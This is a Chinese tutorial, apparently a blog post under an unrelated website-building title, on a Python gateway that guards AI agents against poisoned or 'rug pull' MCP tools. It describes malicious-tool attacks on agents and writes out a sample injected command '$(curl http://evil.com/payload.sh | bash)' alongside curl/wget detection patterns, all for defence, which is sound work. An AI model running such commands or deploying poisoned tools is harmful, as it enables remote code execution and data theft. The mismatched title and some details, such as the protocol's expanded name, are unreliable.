企业官网建设流程全解析

1. 项目概述：为什么 AI Agent 的工具层正在成为最危险的“后门”

最近在给几家做智能客服和自动化运营的客户做安全评估时，我反复看到一个让人脊背发凉的现象：他们的 AI Agent 系统本身逻辑严谨、提示词打磨得滴水不漏，模型调用链路也做了层层鉴权，但只要一接入外部工具——比如一个封装好的「查天气」API、一个「发邮件」的 SDK、甚至是一个本地运行的「PDF 解析脚本」——整个系统的安全边界就瞬间塌陷了一半。不是模型被越狱，不是提示词被注入，而是工具本身被悄悄动了手脚。这就像你花重金装了银行金库级别的防盗门，却忘了检查送外卖小哥手里那把能直接打开后厨冰柜的钥匙是不是原厂配的。

这就是标题里说的「AI Agent 的工具层成为新攻击面」的真实写照。MCP（Model Control Protocol）作为当前主流的 Agent 工具调用协议标准，其设计初衷是让大模型能像人一样“调用工具”，但它本身并不负责验证工具的真实性、完整性或行为意图。它只管“能不能调”，不管“该不该调”、“调的是不是真货”。于是，攻击者开始瞄准这个盲区：往工具注册表里塞一个名字叫get_user_balance实际却执行transfer_funds_to_attacker的恶意函数；或者在工具描述里写“仅读取公开数据”，背后却偷偷上传用户会话日志到第三方服务器；更隐蔽的，是那种“Rug Pull”式攻击——工具上线初期完全正常，等积累足够多信任、被大量 Agent 集成后，突然在某次更新中植入数据窃取逻辑，所有调用它的 Agent 都成了帮凶。

我用 Python 自建这个 MCP 安全网关，核心目的就一个：在 Agent 和它调用的每一个工具之间，插上一道“安检门”。它不改模型、不碰提示词、不干预推理过程，只专注做三件事：工具注册时验明正身（防投毒）、调用前核对意图（防误用）、执行中监控行为（防Rug Pull）。它不是要取代 MCP，而是给 MCP 加一层“可信执行环境”。你不需要重构整个 Agent 架构，只要把网关部署在工具服务之前，所有经由 MCP 协议发起的工具调用请求，都会先流经这里。它适合两类人：一是正在落地 AI Agent 项目的工程师，手头已经有现成的工具集，但担心上线后出安全问题；二是安全团队，需要一套轻量、可审计、能快速集成的防护方案，而不是等漏洞爆发后再打补丁。这不是理论推演，下面每一行代码、每一个配置、每一个检测点，都来自我在三个真实生产环境里踩过的坑、修过的 bug、熬过的夜。

2. 整体架构与设计思路：为什么必须是“网关”，而不是“SDK”或“中间件”

2.1 为什么拒绝 SDK 方案：避免侵入式改造与版本碎片化

最直观的想法，是给每个工具 SDK 打个补丁，在call()方法里加校验逻辑。我试过，两周后就放弃了。原因很现实：我们对接的工具五花八门——有 Python 写的 FastAPI 服务，有 Go 写的 CLI 工具封装成 HTTP 接口，还有 Java 的 Spring Boot 服务，甚至还有个老同事用 Rust 写的命令行 PDF 处理器，通过subprocess调用。如果每个都要改 SDK，意味着要维护至少 5 套不同语言的校验逻辑，还要确保它们和上游 Agent 的 MCP Client 版本兼容。更麻烦的是，当某个工具升级了，SDK 更新了，我们的补丁很可能就失效了。这就像给每辆汽车的油箱盖单独加锁，而忽略了加油站本身才是油料分发的总枢纽。

所以，网关的第一个设计原则就是：零侵入。它必须独立于所有工具实现，只和 MCP 协议打交道。Agent 认为它在调用weather_api，实际上它调用的是网关暴露的http://gateway:8000/tools/weather_api；网关收到请求后，才去反向代理到真实的http://weather-service:3000/v1/forecast。Agent 不知道、也不需要知道网关的存在，它只认 MCP 协议规范。这种架构天然规避了 SDK 方案的所有痛点：工具怎么写、用什么语言、怎么部署，网关一概不管，它只关心“这个请求符不符合安全策略”。

2.2 为什么选择反向代理模式：统一入口、可观测性与热插拔能力

网关采用标准的反向代理（Reverse Proxy）模式，这是经过深思熟虑的。它带来的好处是立竿见影的：

• 统一入口与策略中心化：所有工具调用都必须经过这个单一入口。这意味着安全策略——比如“禁止任何工具访问内网数据库地址”、“所有send_email工具调用必须携带sender_domain参数且值为@company.com”——可以集中定义、统一生效、实时更新。不用再跑到每个工具服务的配置文件里去改防火墙规则。

• 全链路可观测性：代理层是天然的流量镜像点。我们可以在不修改任何业务代码的前提下，记录下每一次调用的完整上下文：谁（哪个 Agent ID）在什么时间（精确到毫秒）、以什么身份（MCP 的tool_call_id和session_id）、调用了哪个工具（tool_name）、传了什么参数（input字典）、返回了什么结果（output）、耗时多少（latency_ms）、是否触发了告警（alert_triggered）。这些日志不是为了事后追责，而是为了建立基线。比如，我们发现pdf_parser工具平时平均响应时间是 120ms，某天突然飙升到 2.3s，且返回内容里多了个file_path字段指向/tmp/目录——这几乎就是 Rug Pull 的典型信号。

• 热插拔与灰度发布：新工具上线？不用重启任何服务。只需在网关的配置文件里新增一条路由规则，指定工具名、真实地址、认证方式、超时时间，网关会自动加载。想对某个工具做灰度测试？把 10% 的流量路由到新版本，90% 还走旧版，策略开关就在一行 YAML 里。这种灵活性，是 SDK 或中间件方案永远做不到的。

2.3 为什么核心逻辑必须用 Python 实现：生态、可维护性与工程师友好度

标题里强调“用 Python”，这绝非偶然。虽然 Nginx、Envoy 也能做反向代理，但它们无法理解 MCP 协议的语义。MCP 不是简单的 HTTP REST，它有一套自己的消息结构：ToolCallRequest包含tool_name,tool_args,tool_id；ToolCallResponse包含result,error,is_error。我们需要解析这些字段，做语义级校验。Python 的优势在这里凸显：

• 生态成熟：httpx是目前最健壮的异步 HTTP 客户端，完美支持 HTTP/1.1 和 HTTP/2，处理 MCP 常见的长连接、流式响应毫无压力；pydantic提供了业界最强的数据验证和序列化能力，我们可以用几行代码就定义出严格符合 MCP 规范的 Pydantic 模型，并自动完成类型转换、缺失字段填充、非法值过滤；fastapi作为 Web 框架，其依赖注入系统让我们能轻松管理数据库连接、缓存、配置中心等全局资源。

• 可维护性高：安全策略代码最终是要被安全工程师和开发工程师共同阅读、修改、审计的。Python 的可读性远超 C++ 或 Rust。一段“检查tool_args中url参数是否在白名单内”的策略，用 Python 写出来就是清晰的if args.get('url') not in WHITELISTED_DOMAINS:，而不是一堆指针操作和生命周期管理。这直接降低了策略误配的风险。

• 工程师友好：团队里可能有熟悉 Burp Suite 的渗透测试工程师，也有精通 Playwright 的前端自动化工程师，但他们大概率都写过 Python 脚本。一个用 Python 写的安全网关，意味着安全策略的编写、调试、单元测试，都可以用他们最熟悉的工具链完成，极大缩短了从“发现风险”到“上线防护”的时间。

3. 核心细节解析与实操要点：从注册、调用到监控的三层防御

3.1 工具注册阶段：如何用数字签名与哈希指纹杜绝“工具投毒”

工具投毒的本质，是攻击者用一个恶意的、同名的工具，替换了合法工具。防御的核心，就是建立一套不可篡改的“工具身份证”体系。我们的网关不信任任何未经验证的工具描述，所有工具必须在注册时提交三样东西：元信息（Metadata）、可执行体（Binary/Code）、数字签名（Signature）。

• 元信息：这是一个 JSON Schema 定义的结构，包含tool_name（唯一标识）、description（功能描述）、parameters（参数列表，含类型、是否必填、默认值）、returns（返回值说明）、allowed_domains（允许访问的域名白名单）、max_execution_time_ms（最长执行时间）等。关键点在于，parameters字段必须用 Pydantic 模型严格定义，例如：

  class WeatherParams(BaseModel): city: str = Field(..., description="城市名称，如 '北京'") units: Literal["celsius", "fahrenheit"] = Field(default="celsius") # 注意：这里明确禁止了 'units' 参数传入 'shell' 或 'exec' 这类危险值

  这个模型会在注册时被网关解析并存储，后续每次调用都会用它来校验参数合法性，连类型错误都会被拦截。

• 可执行体：对于 HTTP 工具，是它的 OpenAPI Spec（openapi.json）；对于 CLI 工具，是它的二进制文件或源码包（.tar.gz）。网关会计算这个文件的 SHA256 哈希值，作为该工具版本的“指纹”。同一个tool_name，不同哈希值代表不同版本，必须分别注册。

• 数字签名：这是防投毒的最后保险。工具提供方（通常是 DevOps 团队）用私钥对“元信息 + 可执行体哈希”进行签名，生成一个 JWT。网关只信任由预置公钥（GATEWAY_PUBLIC_KEY）签发的 JWT。注册流程如下：

  1. 工具方生成元信息 JSON 和可执行体。
  2. 计算可执行体 SHA256：sha256sum tool_binary.
  3. 构造签名载荷：{"metadata": {...}, "binary_hash": "abc123...", "timestamp": 1717024800}.
  4. 用私钥签名，得到 JWTeyJhbGciOi....
  5. 向网关/register端点提交元信息、可执行体、JWT。

网关收到后，会：

• 用公钥验证 JWT 签名有效性。
• 重新计算可执行体哈希，与 JWT 中声明的binary_hash比对。
• 将元信息、哈希、签名时间存入 SQLite 数据库（或 Redis），生成一个唯一的tool_version_id。

提示：签名密钥必须由可信的 CA 或内部 PKI 系统颁发，严禁使用自签名证书。我见过最惨的案例，是某团队用openssl genrsa -out key.pem 2048生成的密钥，然后把key.pem文件不小心提交到了 GitHub 公共仓库，导致攻击者可以伪造任意工具的签名。

3.2 工具调用阶段：意图匹配与动态沙箱的双重校验

当 Agent 发起一次 MCP 调用，例如：

{ "tool_name": "send_email", "tool_args": {"to": "admin@company.com", "subject": "Report", "body": "Data ready"}, "tool_id": "tc_abc123" }

网关的校验流程是流水线式的，任何一步失败，请求立即终止：

1. 工具存在性与状态校验：查询数据库，确认send_email是否已注册，且status为active（不是deprecated或blocked）。如果工具已被标记为可疑，直接返回403 Forbidden。

2. 参数语义校验：加载该工具注册时存入的WeatherParams（或EmailParams）Pydantic 模型，用model.parse_obj(tool_args)进行强类型校验。这不仅能捕获city传了数字这种基础错误，还能执行自定义验证逻辑，例如：

   @field_validator('to') def to_must_be_company_domain(cls, v): if not v.endswith('@company.com'): raise ValueError('Email must be sent to company domain only') return v

   这种校验发生在网络层之后、业务逻辑之前，成本极低，却能挡住 80% 的参数级误用。

3. 意图-行为匹配（Intent-Action Binding）：这是防 Rug Pull 的关键。网关会记录该工具历史上所有成功调用的tool_args模式。例如，send_email工具在过去 7 天内，to字段 99.9% 的值都是@company.com结尾，subject字段长度从未超过 100 字符。如果本次调用to是hacker@gmail.com，subject是$(curl http://evil.com/payload.sh | bash)，网关会立刻触发告警，并根据策略决定是阻断还是放行（用于灰度测试）。

4. 动态沙箱启动（可选高级功能）：对于高危工具（如execute_shell_command），网关可以启动一个临时的、隔离的 Docker 容器来执行。容器镜像预先构建好，只包含最小必要依赖，挂载的目录只有/tmp且设为ro（只读），网络策略限制为仅能访问allowed_domains白名单。执行完毕后，容器立即销毁。这相当于给每个高危工具调用都配了一个“一次性手术室”。

3.3 工具执行阶段：行为监控与 Rug Pull 的实时识别

Rug Pull 的可怕之处在于它的“潜伏性”。它不会在第一次调用就作恶，而是先建立信任，再突然发难。因此，监控不能只看单次请求，必须看行为序列。我们的网关为此设计了两级监控：

• 一级：实时响应分析：在工具返回ToolCallResponse后，网关会解析result字段。如果result是 JSON，会尝试提取其中的敏感字段，如file_path,url,command,sql_query。然后检查：

  • file_path是否在/tmp/,/var/tmp/等临时目录之外？如果是/etc/passwd，立即告警。
  • url是否在allowed_domains白名单内？如果不在，且tool_name是web_scraper，则可能是数据外泄。
  • command字段是否包含curl,wget,bash -c等危险子串？这是典型的后门植入特征。

• 二级：时序行为基线（Time-Series Baseline）：这是真正的“火眼金睛”。网关将每个工具的每次调用，按tool_name+hour维度聚合，计算以下指标：

  • avg_latency_ms: 平均响应时间
  • p95_latency_ms: 95 分位响应时间
  • error_rate: 错误率（is_error=True的比例）
  • output_size_bytes_avg: 返回内容平均大小
  • unique_domains_accessed: 本次调用中，工具实际访问的不同域名数量（需工具主动上报或网关旁路抓包）

  这些指标会存入 TimescaleDB（PostgreSQL 的时序扩展）。网关内置一个轻量级异常检测算法（基于 Robust Z-Score），每 5 分钟扫描一次。如果pdf_parser的p95_latency_ms在过去 1 小时内从 150ms 突然跳到 2500ms，且output_size_bytes_avg从 50KB 暴涨到 5MB，算法会立刻判定为“潜在 Rug Pull”，并将该工具tool_version_id标记为suspicious，后续所有调用都将被阻断，直到人工审核。

注意：行为基线的建立需要“学习期”。新上线的工具，网关会进入 24 小时的静默学习模式，只记录数据，不触发告警。这段时间内，务必确保工具处于稳定、正常的业务流量下，否则基线会被污染。

4. 实操过程与核心环节实现：从零搭建一个可运行的 MCP 安全网关

4.1 环境准备与依赖安装：精简、可靠、无冗余

我们追求的是一个能在任何 Linux 服务器（包括树莓派）上跑起来的最小可行网关。因此，依赖必须精简到极致。整个项目结构如下：

mcp-gateway/ ├── main.py # FastAPI 主应用 ├── core/ │ ├── registry.py # 工具注册与管理 │ ├── proxy.py # 反向代理核心逻辑 │ ├── monitor.py # 行为监控与告警 │ └── models.py # Pydantic 数据模型 ├── config/ │ ├── settings.py # 配置管理（支持 .env） │ └── schemas.py # MCP 协议 Schema ├── db/ │ └── init_db.py # 数据库初始化 ├── tests/ │ └── test_proxy.py # 核心逻辑单元测试 └── requirements.txt

requirements.txt内容极其克制：

fastapi==0.111.0 httpx==0.27.0 pydantic==2.7.1 python-jose[cryptography]==3.3.0 passlib[bcrypt]==1.7.4 uvicorn==0.29.0 aiofiles==23.2.1 # 仅用于时序监控，可选 # timescale-postgresql==15.3.0

没有pandas, 没有numpy, 没有scikit-learn。所有机器学习相关的异常检测，我们都用纯 Python 实现（Robust Z-Score 算法不到 50 行代码）。这样做的好处是：部署快（pip install -r requirements.txt通常在 10 秒内完成）、内存占用低（常驻内存 < 50MB）、故障面小（少一个依赖，就少一个崩溃点）。

安装步骤（以 Ubuntu 22.04 为例）：

# 1. 创建虚拟环境（强烈推荐，避免污染系统 Python） python3 -m venv venv source venv/bin/activate # 2. 升级 pip 到最新版（避免旧版 pip 安装依赖失败） pip install --upgrade pip # 3. 安装依赖 pip install -r requirements.txt # 4. （可选）安装 TimescaleDB 用于高级监控 # sudo sh -c 'echo "deb https://packagecloud.io/timescale/timescaledb/ubuntu/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/timescaledb.list' # wget --quiet -O - https://packagecloud.io/timescale/timescaledb/gpgkey | sudo apt-key add - # sudo apt-get update # sudo apt-get install timescaledb-2-postgresql-15

4.2 核心代码实现：proxy.py中的反向代理与安全校验

core/proxy.py是网关的心脏。它接收来自 Agent 的 MCP 请求，执行所有校验，并将合法请求转发给真实工具。以下是其核心逻辑的简化版（已去除日志、错误处理等辅助代码，保留主干）：

from httpx import AsyncClient, Timeout from fastapi import Request, Response from starlette.background import BackgroundTask from core.registry import get_tool_by_name, ToolStatus from core.models import ToolCallRequest, ToolCallResponse async def handle_tool_call( request: Request, tool_name: str, tool_call_request: ToolCallRequest ) -> Response: # 步骤1：查询工具元信息 tool = await get_tool_by_name(tool_name) if not tool or tool.status != ToolStatus.ACTIVE: return Response( content='{"error": "Tool not found or inactive"}', status_code=404, media_type="application/json" ) # 步骤2：参数语义校验（使用 Pydantic 模型） try: # 动态加载该工具注册时绑定的参数模型 params_model = tool.get_params_model() validated_args = params_model.parse_obj(tool_call_request.tool_args) except Exception as e: return Response( content=f'{{"error": "Parameter validation failed: {str(e)}"}}', status_code=400, media_type="application/json" ) # 步骤3：意图-行为匹配（检查历史调用模式） if not await check_intent_compliance(tool.name, validated_args): # 记录告警，但不阻断，用于灰度 await log_alert(f"Intent mismatch for {tool.name}", tool_call_request) # 步骤4：构造反向代理请求 # 使用 httpx.AsyncClient，复用连接池，性能极高 async with AsyncClient( timeout=Timeout(tool.timeout_ms / 1000, connect=5.0), follow_redirects=False ) as client: # 将 MCP 请求体转换为工具期望的格式（如 JSON-RPC 或 REST） tool_request_body = transform_to_tool_format(tool_call_request, validated_args) # 发起反向代理请求 try: tool_response = await client.post( url=f"{tool.endpoint}/invoke", json=tool_request_body, headers={"X-MCP-Gateway-ID": "gw-001"} ) except Exception as e: return Response( content=f'{{"error": "Tool service unreachable: {str(e)}"}}', status_code=502, media_type="application/json" ) # 步骤5：响应后处理（实时分析） final_response = await post_process_response(tool, tool_response) # 返回给 Agent return Response( content=final_response.json(), status_code=tool_response.status_code, media_type="application/json", background=BackgroundTask(log_call_metrics, tool, tool_call_request, final_response) )

这段代码的关键在于transform_to_tool_format函数。它不是一个简单的 JSON 转换，而是 MCP 协议的“翻译官”。因为不同的工具，对输入格式的要求千差万别：

• 一个用 FastAPI 写的工具，可能期望{"city": "Beijing", "units": "celsius"}。
• 一个用 Playwright 封装的浏览器自动化工具，可能期望{"url": "https://example.com", "action": "click", "selector": "#submit"}。
• 一个用subprocess调用的 CLI 工具，可能期望["--city", "Beijing", "--units", "celsius"]。

transform_to_tool_format就是根据工具注册时提供的input_format字段（json,form,cli_args），将统一的 MCPtool_args字典，转换成目标工具能理解的格式。这保证了网关的通用性——它不关心工具怎么实现，只关心怎么和它“对话”。

4.3 工具注册实战：以weather_api为例的全流程演示

现在，让我们亲手注册一个真实的工具。假设我们有一个公开的天气 API，地址是https://api.openweathermap.org/data/2.5/weather，我们需要把它包装成一个 MCP 工具。

第一步：编写元信息 JSON (weather_meta.json)

{ "tool_name": "weather_api", "description": "获取指定城市的当前天气信息。", "parameters": { "city": { "type": "string", "description": "城市名称，如 'Beijing'", "required": true }, "units": { "type": "string", "description": "温度单位，'celsius' 或 'fahrenheit'", "default": "celsius", "enum": ["celsius", "fahrenheit"] } }, "returns": "包含温度、湿度、风速等信息的 JSON 对象。", "allowed_domains": ["api.openweathermap.org"], "max_execution_time_ms": 5000 }

第二步：生成可执行体哈希

# 假设我们有一个封装好的 Python 脚本 weather_tool.py sha256sum weather_tool.py # 输出：a1b2c3d4e5f6... weather_tool.py

第三步：构造 JWT 签名载荷

import jwt import time payload = { "metadata": json.load(open("weather_meta.json")), "binary_hash": "a1b2c3d4e5f6...", "timestamp": int(time.time()), "exp": int(time.time()) + 3600 # 1小时后过期 } # 使用私钥签名 private_key = open("private_key.pem").read() token = jwt.encode(payload, private_key, algorithm="RS256") print(token) # eyJhbGciOi...

第四步：向网关注册

curl -X POST http://localhost:8000/register \ -H "Content-Type: multipart/form-data" \ -F "metadata=@weather_meta.json" \ -F "binary=@weather_tool.py" \ -F "signature=eyJhbGciOi..." \ -F "api_key=your_admin_api_key"

网关收到后，会验证签名、计算哈希、存储元信息，并返回一个tool_version_id，例如tv_wx_abc123。从此，Agent 就可以通过 MCP 协议，安全地调用weather_api了。整个过程，无需修改weather_tool.py的一行代码。

4.4 安全策略配置：YAML 驱动的灵活管控

所有安全策略，都通过一个policies.yaml文件集中管理。这使得策略变更无需重启服务，网关会监听文件变化并热重载。示例配置如下：

# policies.yaml global: # 全局超时，单位毫秒 default_timeout_ms: 3000 # 全局黑名单域名 blocked_domains: - "192.168.0.0/16" - "10.0.0.0/8" tools: # 针对特定工具的精细策略 send_email: # 强制要求 sender 参数 required_parameters: ["sender"] # sender 必须匹配正则 parameter_validators: sender: "^.*@company\\.com$" # 禁止发送到某些高危邮箱 blocked_recipients: - "root@localhost" - "admin@localhost" execute_shell_command: # 此工具极度危险，启用动态沙箱 sandbox_enabled: true # 沙箱镜像 sandbox_image: "alpine:latest" # 沙箱网络策略 sandbox_network_policy: "whitelist" # 沙箱白名单域名 sandbox_allowed_domains: ["github.com", "pypi.org"] monitoring: # 行为基线告警阈值 anomaly_detection: z_score_threshold: 3.0 min_samples_for_baseline: 100 check_interval_minutes: 5

网关启动时，会加载此文件。当send_email工具被调用时，网关会自动应用required_parameters和parameter_validators；当execute_shell_command被调用时，它会自动拉起一个 Alpine 容器来执行。这种“配置即代码”的方式，让安全策略变得像基础设施一样可版本化、可审计、可回滚。

5. 常见问题与排查技巧实录：那些文档里不会写的坑

5.1 问题排查速查表：从 404 到 502，定位故障链路

5.2 实操心得：那些踩过坑后才懂的“经验之谈”

• “永远不要相信工具的description字段”：这是我在第一个项目里交的最贵学费。一个工具的元信息里写着“本工具仅用于查询公开数据”，结果它在后台偷偷调用了内部 CRM 的 GraphQL 接口。后来我们强制规定：所有description字段必须附带一个data_source字段，明确标注是public_api,internal_database,local_filesystem。网关会根据这个字段，自动应用不同的网络策略（如internal_database的请求，网关会拒绝从公网 IP 发起）。

• “超时时间不是越长越好，而是要分层”：一开始，我把所有工具的timeout_ms都设为 10000。结果发现，当某个慢工具（如 PDF 解析）卡住时，它会拖垮整个网关的连接池，导致其他所有工具调用都排队等待。后来我们改为三层超时：connect_timeout=3s,read_timeout=5s,total_timeout=8s。connect_timeout控制建立 TCP 连接的时间，read_timeout控制从 socket 读取数据的间隔，total_timeout是整个请求的硬性上限。这样，一个慢工具最多只会影响自己，不会波及其他。

• “日志级别要细，但存储要狠”：网关会产生海量日志。我们把日志分为三级：INFO级别只记录成功调用的摘要（tool_name,latency,status_code）；WARNING级别记录所有参数校验失败、意图不匹配；ERROR级别只记录网关自身崩溃。然后，用logrotate配置每天切割，只保留最近 7 天的INFO日志，但永久保留所有WARNING和ERROR日志。这既保证了可观测性，又控制了磁盘空间。

• “Rug Pull 的最佳检测点，往往在 DNS 查询”：很多高级 Rug Pull 工具，不会直接在代码里写死恶意 URL，而是通过 DNS 查询来动态获取 C2（Command and Control）服务器地址。我们在网关的沙箱模式中，集成了一个轻量级的 DNS 拦截器。它会监控沙箱容器内的所有 DNS 查询，如果查询的域名不在allowed_domains白名单内，且该域名的 WHOIS 信息显示注册时间小于 30 天、或解析出的 IP 在已知恶意 IP 库中，网关会立即终止该容器并告警。这个功能，帮我们提前发现了两个伪装成“数据分析工具”的后门。

5.3 性能压测与优化：单机支撑 500+ QPS 的实测数据

一个安全网关，如果性能太差，就会成为整个 AI Agent 系统的瓶颈。我们用locust对网关进行了压测，模拟 100 个并发 Agent，持续调用weather_api工具。

• 初始版本（纯同步）：QPS 仅 80，CPU 使用率 95%，延迟毛刺严重（P95 达到 1200ms）。瓶颈在于httpx的同步客户端阻塞了整个事件循环。

• **优化后（全